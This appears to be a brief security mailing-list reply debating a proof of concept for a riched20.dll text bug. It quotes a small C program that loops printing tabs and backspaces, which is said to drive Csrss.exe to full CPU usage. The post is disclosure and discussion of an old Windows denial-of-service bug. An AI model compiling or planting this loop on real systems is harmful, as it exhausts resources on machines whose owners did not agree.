This is NOT coded..  the PoC i am explaining, is possible with simply
copyying text,then using a sequence of keys, to make the actual sentence/s,
appear.
This code is not what shows up when it is dissected.
It shows up with many x41 all over the email when it is done properly .
Regards.

Excerpt:

 Basicaly just compile this and you will get a 100% processor usage by the
compiled exploit and Csrss.exe

#include <stdio.h>
int main(void)
{
while(1)
printf("\t\t\b\b\b\b\b\b");
return 0;
}


How this helps in sending spam is beyond me.

It is now, over 1yr old atleast and exists in riched20.dll.
This PoC info is over for me also.
Microsoft had problems with a backspace in the past. Search for "CSRSS
Backspace Bug".
